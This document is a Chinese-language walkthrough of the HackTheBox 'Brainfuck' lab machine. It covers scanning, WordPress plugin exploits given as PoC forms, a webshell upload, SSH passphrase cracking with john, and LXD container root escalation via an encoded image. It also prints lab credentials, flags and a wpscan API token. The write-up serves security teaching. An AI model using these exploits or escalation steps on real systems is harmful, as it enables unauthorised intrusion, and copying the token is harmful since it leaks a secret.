OS:Linux

DIFFICULTY:Insane

0x01 信息收集

端口扫描 + 指纹识别

naabu -host 10.10.10.17 -Pn -tp full -nmap-cli 'nmap -sV'
                  _____  ___  ___ _/ /  __ __/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/projectdiscovery.io[INF] Current naabu version 2.1.5 (latest)
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 5 ports on host 10.10.10.17 (10.10.10.17)
10.10.10.17:110
10.10.10.17:143
10.10.10.17:22
10.10.10.17:443
10.10.10.17:25
[INF] Running nmap command: nmap -sV -p 110,143,22,443,25 10.10.10.17
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 17:09 CST
Nmap scan report for localhost (10.10.10.17)
Host is up (0.27s latency).PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
25/tcp  open  smtp     Postfix smtpd
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.90 seconds

根据指纹搜索历史漏洞

Postfix smtpd 是一种邮件服务器软件中的一个组件,它是 Postfix 邮件传输代理的 SMTP 服务器守护进程,负责接收和处理通过 SMTP 协议发送到该服务器的电子邮件。

Dovecot pop3d 是一种邮件服务器软件中的一个组件,它是 Dovecot 邮件传输代理(MTA)的 POP3 服务器守护进程。POP3 是 “Post Office Protocol version 3” 的缩写,是一种用于从远程服务器上下载电子邮件的标准协议。

Web信息收集

直接通过IP进行访问发现是Nginx默认页面

https://10.10.10.17/

根据证书信息,绑定域名后(以下操作使用Firefox浏览器演示,Chrome浏览器的操作方法类似)

通过查看证书的详细信息,除了得到了域名信息,还得到了另外两个子域名,还有一个邮箱地址orestis@brainfuck.htb,我们可以将域名都绑定到hosts信息中

echo '10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb' >> /etc/hosts

第一个Web网站:

再次访问果然可以访问到了,根据网站标题和页面信息判断该网站是WordPress的CMS

# 访问以下两个域名打开的页面都相同
https://brainfuck.htb
https://www.brainfuck.htb

查看网站源代码,注意可疑注释或静态资源的路径名称,简单过了一下,确定就是使用的WordPress

第二个Web网站:

https://sup3rs3cr3t.brainfuck.htb/

查看网站源代码,注意可疑注释或静态资源的路径名称,暂未发现有用信息

目录扫描

第一个Web网站:

dirsearch -u https://brainfuck.htb/ -e *
dirsearch -u https://brainfuck.htb/ -e *_|. _ _  _  _  _ _|_    v0.4.2(_||| _) (/_(_|| (_| )Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009Output File: /root/.dirsearch/reports/brainfuck.htb/-_23-04-08_17-44-41.txtError Log: /root/.dirsearch/logs/errors-23-04-08_17-44-41.logTarget: https://brainfuck.htb/[17:44:48] Starting:
[17:45:40] 301 -    0B  - /index.php  ->  https://brainfuck.htb/
[17:45:44] 200 -   19KB - /license.txt
[17:45:56] 200 -    7KB - /readme.html
[17:46:09] 301 -  194B  - /wp-admin  ->  https://brainfuck.htb/wp-admin/
[17:46:09] 301 -  194B  - /wp-content  ->  https://brainfuck.htb/wp-content/
[17:46:09] 403 -  580B  - /wp-content/uploads/
[17:46:09] 200 -    0B  - /wp-content/
[17:46:09] 200 -    0B  - /wp-config.php
[17:46:09] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[17:46:09] 500 -    0B  - /wp-content/plugins/hello.php
[17:46:09] 403 -  580B  - /wp-content/upgrade/
[17:46:10] 200 -    0B  - /wp-cron.php
[17:46:10] 403 -  580B  - /wp-includes/
[17:46:10] 500 -    0B  - /wp-includes/rss-functions.php
[17:46:10] 301 -  194B  - /wp-includes  ->  https://brainfuck.htb/wp-includes/
[17:46:10] 500 -    4KB - /wp-admin/setup-config.php
[17:46:10] 200 -    2KB - /wp-login.php
[17:46:10] 200 -    1KB - /wp-admin/install.php
[17:46:10] 302 -    0B  - /wp-signup.php  ->  https://brainfuck.htb/wp-login.php?action=register
[17:46:10] 405 -   42B  - /xmlrpc.php
[17:46:14] 302 -    0B  - /wp-admin/  ->  https://brainfuck.htb/wp-login.php?redirect_to=https%3A%2F%2Fbrainfuck.htb%2Fwp-admin%2F&reauth=1
[17:46:14] 200 -    1B  - /wp-admin/admin-ajax.php

发现了WP登录页面

https://brainfuck.htb/wp-login.php

第二个Web网站:

dirsearch -u https://sup3rs3cr3t.brainfuck.htb/ -e * -x 404
  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                                                              (_||| _) (/_(_|| (_| )                                                                                                                                                                                       Extensions: 2.txt | HTTP method: GET | Threads: 30 | Wordlist size: 9008Output File: /root/.dirsearch/reports/sup3rs3cr3t.brainfuck.htb/-_23-04-09_21-52-42.txtError Log: /root/.dirsearch/logs/errors-23-04-09_21-52-42.logTarget: https://sup3rs3cr3t.brainfuck.htb/[21:52:43] Starting:
[21:52:50] 200 -  354B  - /.editorconfig
[21:52:53] 200 -    4KB - /.htaccess
[21:53:09] 200 -    5KB - /CONTRIBUTING.md
[21:53:11] 200 -    1KB - /LICENSE
[21:53:13] 200 -  104B  - /Procfile
[21:53:17] 200 -   11KB - /Vagrantfile
[21:53:27] 403 -   15B  - /admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
[21:53:27] 403 -   15B  - /admin/fckeditor/editor/filemanager/connectors/php/upload.php
[21:53:27] 403 -   15B  - /admin/fckeditor/editor/filemanager/connectors/php/connector.php
[21:53:27] 403 -   15B  - /admin/fckeditor/editor/filemanager/upload/php/upload.php
[21:53:36] 200 -    7KB - /all
[21:53:38] 403 -  580B  - /assets/
[21:53:38] 301 -  194B  - /assets  ->  https://sup3rs3cr3t.brainfuck.htb/assets/
[21:53:46] 403 -   15B  - /ckeditor/ckfinder/core/connector/php/connector.php
[21:53:48] 200 -    2KB - /composer.json
[21:53:49] 200 -    0B  - /config.php
[21:53:55] 200 -  160KB - /composer.lock
[21:54:01] 403 -   15B  - /fckeditor/editor/filemanager/connectors/php/upload.php
[21:54:01] 403 -   15B  - /fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
[21:54:01] 403 -   15B  - /fckeditor/editor/filemanager/connectors/php/connector.php
[21:54:01] 403 -   15B  - /fckeditor/editor/filemanager/upload/php/upload.php
[21:54:07] 403 -   15B  - /includes/fckeditor/editor/filemanager/connectors/php/upload.php
[21:54:07] 403 -   15B  - /includes/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
[21:54:07] 403 -   15B  - /includes/fckeditor/editor/filemanager/connectors/php/connector.php
[21:54:07] 403 -   15B  - /includes/fckeditor/editor/filemanager/upload/php/upload.php
[21:54:08] 403 -   15B  - /index.pHp
[21:54:15] 302 -    0B  - /logout  ->  https://sup3rs3cr3t.brainfuck.htb
[21:54:24] 500 -  149KB - /login
[21:54:35] 200 -    1KB - /readme.md
[21:54:37] 403 -  580B  - /scripts/
[21:54:37] 301 -  194B  - /scripts  ->  https://sup3rs3cr3t.brainfuck.htb/scripts/
[21:54:37] 403 -   15B  - /scripts/ckeditor/ckfinder/core/connector/php/connector.php
[21:54:43] 500 -  149KB - /register
[21:54:44] 403 -  580B  - /storage/
[21:54:44] 301 -  194B  - /storage  ->  https://sup3rs3cr3t.brainfuck.htb/storage/
[21:54:47] 200 -    5KB - /tags
[21:54:49] 500 -  149KB - /reset
[21:54:50] 301 -  194B  - /uploads  ->  https://sup3rs3cr3t.brainfuck.htb/uploads/
[21:54:50] 403 -  580B  - /uploads/
[21:54:52] 403 -  580B  - /vendor/
[21:54:52] 200 -    0B  - /vendor/composer/autoload_files.php
[21:54:52] 200 -    0B  - /vendor/composer/autoload_classmap.php
[21:54:52] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[21:54:52] 200 -    0B  - /vendor/composer/autoload_real.php
[21:54:52] 200 -    0B  - /vendor/composer/ClassLoader.php
[21:54:52] 200 -    0B  - /vendor/autoload.php
[21:54:52] 200 -    0B  - /vendor/composer/autoload_psr4.php
[21:54:52] 200 -   20KB - /vendor/composer/LICENSE
[21:55:01] 200 -  148KB - /vendor/composer/installed.json

根据扫描结果,进一步信息收集

# 这是一个名为EditorConfig的配置文件,它可以帮助开发人员在不同的编辑器和IDE之间定义和维护一致的代码风格
https://sup3rs3cr3t.brainfuck.htb/.editorconfig

# 这是一个Apache Web服务器的配置文件。该文件包含了一系列指令,用于设置Web服务器的行为和功能。
https://sup3rs3cr3t.brainfuck.htb/.htaccess
以下是这份配置文件中各个部分的作用:1. `<IfModule mod_authz_core.c>` 和 `<IfModule !mod_authz_core.c>`:两个条件块分别用于在mod_authz_core模块可用和不可用时设置访问权限。
2. `Header unset Proxy`:防止HTTPoxy漏洞攻击。
3. `<IfModule mod_rewrite.c>`:用于重写URL、设置路由等高级URL处理功能的模块。
4. `RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]`:将HTTP Authorization头存储为环境变量HTTP_AUTHORIZATION。
5. `RewriteRule ^vendor/(.*)?$ / [F,L]`、`RewriteRule ^storage/(.*)?$ / [F,L]`、`RewriteRule ^config.php$ / [F,L]` 和 `RewriteRule ^.git/(.*)?$ / [F,L]`:禁止直接访问特定目录或文件,并返回403 Forbidden错误。
6. `RewriteRule ^api(.*)$ api.php [QSA,L]` 和 `RewriteRule ^admin(.*)$ admin.php [QSA,L]`:将URL重写为指定的PHP脚本名,并保留查询字符串(query string)。
7. `RewriteCond %{REQUEST_FILENAME} !-f` 和 `RewriteCond %{REQUEST_FILENAME} !-d`:排除请求路径对应的文件或目录已存在的情况。
8. `RewriteRule !^assets index.php [QSA,L]`:将所有非/assets路径的请求路由到index.php,并保留查询字符串。
9. `Options -MultiViews` 和 `Options -Indexes`:分别禁用MultiViews和Autoindex功能。
10. `<IfModule mod_deflate.c>`:用于启用HTTP响应内容压缩的模块。
11. `AddOutputFilterByType DEFLATE ...`:声明需要被压缩的MIME类型。
12. `<IfModule mod_expires.c>`:用于设置HTTP缓存策略的模块。
13. `ExpiresDefault "access plus 1 second"`:默认缓存1秒。
14. `ExpiresByType ...`:针对各种MIME类型设置不同的过期时间。

根据以下文件内容,初步判断当前系统使用的CMS为Flarum

https://sup3rs3cr3t.brainfuck.htb/CONTRIBUTING.md# 这是一份有关为Flarum(一个开源论坛软件)做贡献的指南。它提供了有关如何报告错误、提交拉取请求、遵循编码风格指南和设置开发环境的说明。此外,它还包括有关贡献者许可协议的信息,该协议授予Flarum开发人员使用来自贡献者的贡献的许可。

进一步确认CMS为Flarum

https://sup3rs3cr3t.brainfuck.htb/Procfile
# 这是用于在Flarum开发环境中进行前端代码开发的指令。运行这些指令将会启动gulp任务,监控对应目录下的文件变化并重新编译、打包输出。forum: cd vendor/flarum/core/js/forum && gulp watch 适用于论坛前端代码的开发,而 admin: cd vendor/flarum/core/js/admin && gulp watch 则适用于后台管理界面前端代码的开发。

https://sup3rs3cr3t.brainfuck.htb/Vagrantfile
# 这是一个 Vagrant 配置文件,用于定义虚拟机的设置。它包含了许多配置选项,例如:
# 服务器的 IP 地址、CPU 数量、内存大小和时区。
# 数据库的配置,包括 MySQL 和 PostgreSQL 的 root 密码。
# 要安装的语言和软件包,包括 PHP、Ruby 和 Node.js。
# 要安装的 Web 服务器,例如 Apache 或 Nginx。
# 此文件中泄露了一些信息,例如 GitHub 用户名、仓库和分支,以及 MySQL 和 PostgreSQL 的 root 密码。

https://sup3rs3cr3t.brainfuck.htb/composer.json
# composer.json,它是一个用于PHP包管理的配置文件。在该文件中定义了项目所需的依赖项和其他配置信息,这是一个名为"flarum/flarum"的项目,是一个简单易用的论坛软件。

https://sup3rs3cr3t.brainfuck.htb/readme.md
# 这是 Flarum 项目的README文件

https://sup3rs3cr3t.brainfuck.htb/register
# 直接访问发现不支持get请求,产生的报错页面中泄露了网站绝对路径等信息

变更为POST请求方式后可以访问到该接口

https://sup3rs3cr3t.brainfuck.htb/vendor/composer/installed.json
# /vendor/composer/installed.json 文件是 Composer 工具生成的一个清单,用于记录当前应用程序的依赖关系。它包含了项目中安装的所有软件包及其版本信息,以及每个软件包的校验和、安装源等元数据。

0x02 漏洞利用

第一个Web网站:

遇到WordPress的网站,首先要用的肯定是wpscan,这款工具支持多种扫描模式,包括基于字典的暴力破解、插件和主题漏洞检测、WordPress核心文件漏洞检测等。同时,Wpscan还提供了丰富的扫描选项和参数,可以根据需要自定义扫描内容和策略。

注意:使用的时候一定要指定api token,正确配置了Token,Wpscan就可以通过API与wpvulndb.com进行交互,获取最新的漏洞库信息,从而提高扫描的准确性和效率

注册账号获取api token:https://wpscan.com/register

使用wpscan对网站进行全面的扫描

wpscan --url https://brainfuck.htb/ --disable-tls-checks --api-token W53TvuHMBpQNPPjPB8ASdslc5sGbQHu212ZVReIrwFY

通过wpscan识别出版本WordPress version 4.7.3,总共扫描出74个漏洞,但大部分都是中低危漏洞,还发现使用了wp-support-plus-responsive-ticket-system插件,该插件共扫描出6个漏洞,其中包含RCE、SQL注入、提权漏洞

所以准备先尝试利用插件的漏洞获得网站权限

1.WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution (RCE)

Poc:https://wpscan.com/vulnerability/1527b75a-362d-47eb-85f5-47763c75b0d1

经过查看漏洞描述,得知该漏洞允许任何人上传具有不同扩展名的 PHP 文件,如.phtml.php4.php5等。该插件的代码没有检查其他扩展名,除了一些像.exe.php.js这样的扩展名。因此,在大多数主机平台上,这些上传的文件可以像.php文件一样执行。此外,上传的文件以基于时间戳的可预测名称保存,任何人都可以访问和执行其中包含的代码。

Poc:

<form method="post" enctype="multipart/form-data" action="https://example.com/wp-admin/admin-ajax.php"><input type="hidden" name="action" value="wpsp_upload_attachment">Choose a file ending with .phtml:<input type="file" name="0"><input type="submit" value="Submit">
</form>After doing this, an uploaded file can be accessed at, say:http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml

将Poc代码保存至本地,注意要替换action中的URL

使用Godzilla生成phtml后缀的webshell

在浏览器中访问poc.html

选择生成的shell.phtml并点击submit进行文件上传,上传成功

这个响应包应该是上传成功了

访问webshell地址,结果发现时间戳需要进行枚举

https://brainfuck.htb/wp-content/uploads/wpsp/1660041395_shell.phtml

根据响应包的Date生成时间戳,通过burp进行枚举也没有访问到,算是利用失败

2.WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation

exp:https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f

这个漏洞允许攻击者在不知道密码的情况下以任何用户身份登录,原因是错误使用了 wp_set_auth_cookie() 函数

首先将POC代码保存至本地html中,修改连接的地址

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">Username: <input type="text" name="username" value="administrator"><input type="hidden" name="email" value="sth"><input type="hidden" name="action" value="loginGuestFacebook"><input type="submit" value="Login">
</form>

接下来使用wpscan对网站进行用户名枚举,发现存在adminadministrator用户

wpscan --url https://brainfuck.htb/ --disable-tls-checks -e u

在浏览器中打开POC代码,输入admin 并点击Login

成功登录,响应包中返回了admin用户的cookie信息

此时刷新网站页面,已经显示admin用户登录,该漏洞利用成功

https://brainfuck.htb/

管理页面:

https://brainfuck.htb/wp-admin/

接下来在管理页面进行一波信息收集,主要看用户列表和设置页面中的内容

总共有两个用户adminadministrator,权限分别为超级管理员和普通用户,admin用户绑定的邮箱是orestis@brainfuck.htb

在Settings - Easy WP SMTP Settings 页面,发现配置了SMTP服务,并且在该页面经过修改前端代码中input标签的type,获取到了该用户的SMTP账号和密码

SMTP username: orestis
SMTP Password: kHGuERB29DNiNE


WordPress管理后台 getshell | 命令注入的思路一般为:

  1. Appearance - Themes 上传主题zip getshell
  2. Plugins - Installed Plugins 上传自定义插件zip getshell, 激活插件
  3. Appearance - Editor 修改404.php页面,添加一句话木马getshell

1.尝试通过上传主题getshell

首先使用Godzilla生成webshell

创建压缩包

zip test.zip shell.php

访问上传主题的页面

https://brainfuck.htb/wp-admin/theme-install.php

选择test.zip,然后点击Install Now

结果报错了,这个错误信息表明 WordPress 无法在服务器上创建目录 wp-content/uploads/2023/04,这通常是由于服务器上的文件权限设置不当导致的,也就是说uploads目录没有写入的权限

尝试修改WordPress文件上传目录,在媒体设置页面取消勾选了Organize my uploads into month- and year-based folders

结果再次上传仍然报错,这个错误信息表明 WordPress 无法将上传的文件移动到 wp-content/uploads 目录,这通常是由于服务器上的文件权限设置不当导致的,看来后台文件上传都无法利用了

2.尝试编辑主题页面getshell
访问以下编辑页面,结果发现没有更新按钮,可能由于以下原因之一:

  • 没有足够的权限,只有具有 edit_themes 权限的用户才能编辑主题文件
  • 主题文件不可写
  • WordPress 网站禁用了文件编辑功能
https://brainfuck.htb/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen

访问Users - All Users查看所有用户,admin角色是Administrator是没问题的,正常的话是可以直接编辑主题、插件等内容的,所以还是判断是没有权限


第二个Web网站:

直接搜索关于Flarum的历史漏洞,暂时没有找到可以用的

通过以下页面判断存在adminorestis用户,

https://sup3rs3cr3t.brainfuck.htb/d/1-development

先来尝试一下弱口令,但是均没有爆破成功

接下来测试下忘记密码功能点

此功能点需要填入邮箱地址,正好使用我们前期信息收集得到的邮箱orestis@brainfuck.htb

输入邮件后,邮件发送成功,但是此处没法劫持到自己的邮箱中,这该怎么办呢?

页面提示信息如下:
我们已向您发送了一封电子邮件,其中包含重置密码的链接。如果您在接下来的一两分钟内没有收到垃圾邮件文件夹,请检查它。

此时想起了在前期信息收集时,在WordPress的邮箱配置中SMTP的账号密码

SMTP username: orestis
SMTP Password: kHGuERB29DNiNE

尝试进行登录,发现竟然登录失败了

尝试以邮箱格式进行登录,同样的也是登录失败

接下来尝试使用telnet直接登录SMTP服务,尝试在收件箱中查找线索

telnet brainfuck.htb 25
EHLO brainfuck.htb
AUTH LOGIN

结果提示SMTP服务器没有启用身份验证,无法连接成功

问题不大,我们还有IMAP和POP3协议能进行连接

先来尝试下POP3连接到服务器

telnet brainfuck.htb 110# 输入用户名密码
USER orestis
PASS kHGuERB29DNiNE# 查看邮件数量和总大小
STAT# 列出所有邮件的编号和大小
LIST# 下载指定编号的邮件内容(以第一封邮件为例)
RETR 1

连接成功后总共发现有两份邮件,在第二封邮件中泄露了论坛的账号密码

第一封邮件内容:

您的新WordPress网站已经成功建立,地址是:https://brainfuck.htb你可以用以下信息登录到管理员账户:用户名: admin
密码:你在安装时选择的密码。
在这里登录:https://brainfuck.htb/wp-login.php我们希望你喜欢你的新网站。谢谢!--WordPress团队
https://wordpress.org/

第二封邮件内容:

你好,你在我们的 "秘密 "论坛的凭证如下 :)用户名: orestis
密码: kIEnnfEKJ#9UmdO

使用邮件中的账号密码成功登录到系统中

第一篇帖子《Key》

内容看起来每个人发表的评论像是经过某种加密的信息

第二篇帖子《SSH Access》

这段对话描述了一个管理员和一个用户之间的互动。管理员告知用户SSH访问已升级,不再支持密码登录,并要求用户使用密钥进行登录。然后,用户请求管理员立即发送他的密钥以便登录,但使用了不礼貌的语言。管理员因此生气并威胁公开贴出这个密钥,但是用户建议开启一个加密线程来继续交流。

根据本篇帖子的内容可以判断《Key》帖子使用了某种加密算法

初步分析一下,红框中的内容肯定是orestis用户的签名Orestis - Hacking for fun and profit,这段内容是固定的,但是经过加密后每次的结果却是不同的,这说明此处的加密不是简单的置换

根据CTF比赛经验进一步分析,判断此处加密算法可能是使用了维吉尼亚密码,但是维吉尼亚密码解密的话需要使用key,通过查看网站前端源代码等方式并没有找到key,那只能通过枚举的方式得到key再进行解密了

维吉尼亚密码 枚举key解密:https://www.guballa.de/vigenere-solver

注意:复制进去一句密文是无法解密成功的

枚举失败原因:维吉尼亚密码的解密过程通常使用频率分析来破解。这种方法依赖于语言中字母出现的频率。例如,在英语中,字母E的出现频率最高,而字母Z的出现频率最低。
如果只提供一句密文,那么解密程序可能无法获得足够的信息来进行频率分析。但是,如果提供更多的密文,那么解密程序就有更多的信息来进行分析,从而更容易找到正确的密钥。

必须提供足够多的密文,才能解密成功(可能部分内容没有被充分还原,但主要内容还原就可以了)

解密后的对话:

大体意思也就是说要求管理员提供SSH私钥文件的下载链接

Hey give me the url for my key bitch :)
Orestis - Hacking for fun and profit
Vko bwlbbr dgg s zgda nrtkm gy ia
Toggdxhhu
Kgivvkr - Ahraeck iqt enu pdz evrhks
There you go you stupid fuck, I hope you remember your key password because I dont
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
Kv mhypaxl, Z'yi iokds uhqtr fa
Lhogibr - Ynzrfdq tdk ela xua fbcubs

访问id_rsa下载链接,将该文件下载至本地

使用SSH通过id_rsa进行免密登录,发现id_rsa有passphrase保护,还得先破解出passphrase

chmod 600 id_rsa
ssh -i id_rsa orestis@10.10.10.17

首先需要使用ssh2john将id_rsa转换为john能识别的格式,然后输出到passphrase文件中

ssh2john id_rsa > passphrase

SSH2John是一个工具,可以将SSH私钥文件(例如id_rsa)转换为John the Ripper密码破解工具的格式。这样做的主要原因是,SSH私钥通常以OpenSSH格式存储,而John the Ripper不支持该格式。

然后使用john进行爆破,爆破成功密钥为3poulakia!

john passphrase --wordlist=/usr/share/wordlists/rockyou.txt

John the Ripper(通常称为"John")是一种流行的开源密码破解工具,它主要用于测试密码强度和安全性。该工具可以使用暴力破解、字典攻击等多种方法来破解各种类型的密码,如UNIX、Windows、ZIP、PDF等常见密码格式。

使用SSH再次登录并输入密钥登录成功,成功获取到user的flag

ssh -i id_rsa orestis@10.10.10.17cat user.txt
flag: 2c11cfbc5b959f73ac15a3310bd097c9

0x03 权限提升

上传linpeas.sh进行信息收集

python3 -m http.server 1111
curl http://10.10.14.11:1111/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

根据信息收集结果发现用户orestis为lxd组的一部分

LXD是LXC的管理工具和API,它允许用户轻松地管理和部署LXC容器,同时提供更高级别的功能,如镜像管理、快照、容器迁移等。

LXC是Linux容器(Linux Containers)的缩写,它提供了一种轻量级的虚拟化技术,可以在单个Linux操作系统实例上运行多个隔离的用户空间环境。

lxd组中意味着当前用户可以与lxc的Linux容器进行交互

执行以下命令后发现没有容器在运行

lxc list

执行以下命令后发现也没有可以使用的镜像

lxc image list

接下来使用lxc进行权限提升,利用思路:使用当前账号创建一个新的容器,并将整个主机操作系统挂载到该容器中,从而获得对主机文件系统的完全访问权限。

此漏洞在利用时最常用的是Apline容器,因为它是最小的通用容器,最容易上传,因为我不需要完整的镜像,而只需要一个安装了主机文件系统的 shell,具体可以参考M0noc的文章,它创建了一个 656 字节的字符串,可用于制作准系统 busybox 镜像

1.加载镜像

创建一个新的容器镜像

echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > test.tar.bz2

将镜像导入lxc中

lxc image import test.tar.bz2 --alias testImage

查看镜像列表

lxc images list

2.创建并启动虚拟机

要创建VM需要执行lxc init,然后将主机文件系统的根添加到/r目录

lxc init testImage testVM -c security.privileged=true
lxc config device add testVM realRoot disk source=/ path=r

然后启动容器,并查看容器列表

lxc start testVM
lxc list

3.连接容器获得shell

lxc exec运行连接到镜像的shell,成功提升到root权限,并获取到root的flag

lxc exec testVM -- /bin/bashfind / -name "root.txt"
cat /r/root/root.txtflag: 6efc1a5dbb8904751ce6566a305bb8ef

HackTheBox - Brainfuck Write Up相关推荐

  1. Laradock Mac下的环境配置和安装

    WechatIMG73.jpeg 环境 查看 Mac 版本 $ sw_vers ProductName: Mac OS X ProductVersion: 10.14.6 BuildVersion: ...

  2. buuctf (misc)神秘龙卷风 [brainfuck密码,压缩包密码爆破]

    因为是四位数字.直接爆破一下 得到密码后打开 brainfuck加密 https://www.splitbrain.org/services/ook flag{e4bbef8bdf9743f8bf5b ...

  3. Brainfuck解释器(C#)

    根据维基百科上的内容随手写的一个BF解释器,输入有两个参数--程序代码.输入流,返回内容为输出流.输入.输出均为字符串. 字符 含义 C语言替换 > 指针加一 ++ptr; < 指针减一 ...

  4. 20220216-MISC-BUUCTF-另外一个世界-winhex,ASCII转换-FLAG- ZIP文件提取并修复-假如给我三天光明-ZIP改RAR,摩丝电码波形转换-神秘龙卷风brainfuck

    第一题-MISC-BUUCTF-另外一个世界 注意:得到的 flag 请包上 flag{} 提交 [1]下载附件并解压,得到monster.jpg [2]分析这张图片: (1)binwalk 这应该是 ...

  5. BrainFuck——C实现BrainFuck解释器

    首先介绍一下吊炸天的语言--BrainFuck Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的.由于fuck在英语中是脏话,这种语言有时被称为brainf ...

  6. sqlmap md5怎么解密_三十九,hackthebox渗透之DirBuster扫描路径及Sqlmap

    一.DirBuster扫描目录 hack the box是一个在线Web渗透实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有.因为这些靶机放在平台上供大 ...

  7. Brainfuck语言入门

    Brainfuck语言(简称BF)是一种非常接近图灵机的编程语言. 本文既是BF的详细介绍和工具,也是我学习BF的全过程记录. 目录 一,指令 二,翻译成C/C++ 三,打印A 四,BF的归0操作 五 ...

  8. Hackthebox(1)系列持续更新

    Hackthebox第一关 文章目录 Hackthebox第一关 一.Hackthebox配置openvpn 配置openvpn 二.第0层(简单) 终端弄好以后点击产卵机,然后会给你创建一个实例 问 ...

  9. HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

    题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...

最新文章

  1. java 的回调函数
  2. eeglab中文教程系列(7)-数据叠加平均{2}绘制2D和3D图
  3. 「后端小伙伴来学前端了」CSS 做三角边框,必会的基础操作之一
  4. 【Python】if else 一行写完
  5. mysql8.0.20忘记密码_mysql8.0.19忘记密码的完美解决方法
  6. sift+图像匹配 算法
  7. Linux:-bash: ***: command not found
  8. 4、oracle数据库的查询基础
  9. 2017 百度杯丶二月场第一周WP
  10. 设计模式之蝉——代理模式上中
  11. 常见的排序算法四——直接选择排序
  12. 统计学习方法读书笔记13-改进的迭代尺度法(优化算法)
  13. abb变频器以太网适配器,ABB以太网适配器 Ethernet Adapter现货FENA-01
  14. 电磁场数值计算方法matlab,电磁场数值计算法与MATLAB实现
  15. 【西瓜书】决策树ID3算法
  16. 图标搜索引擎:Findicons
  17. matlab进行复数计算
  18. Vue弹性标题栏(收缩扩张标题栏背景)
  19. Java 算法:带权图Weighted Graph
  20. 2048版俄罗斯方块java_Java版俄罗斯方块

热门文章

  1. 微信公众平台测试号——模板消息发送Demo
  2. 熔断器Hystrix
  3. 软件工程复习13:软件发布
  4. webpack 热加载原理探索
  5. 百合医疗IPO被终止:实控人黄凯之父黄维郭曾是佛山副市长
  6. 免疫组库vdj的数据处理(TCR/BCR)
  7. chrome manifest v3 api大全(持续更新中)
  8. spring知识体系
  9. L2-013 红色警报 (25 分)
  10. 巧用 Docker Buildx 构建多种系统架构镜像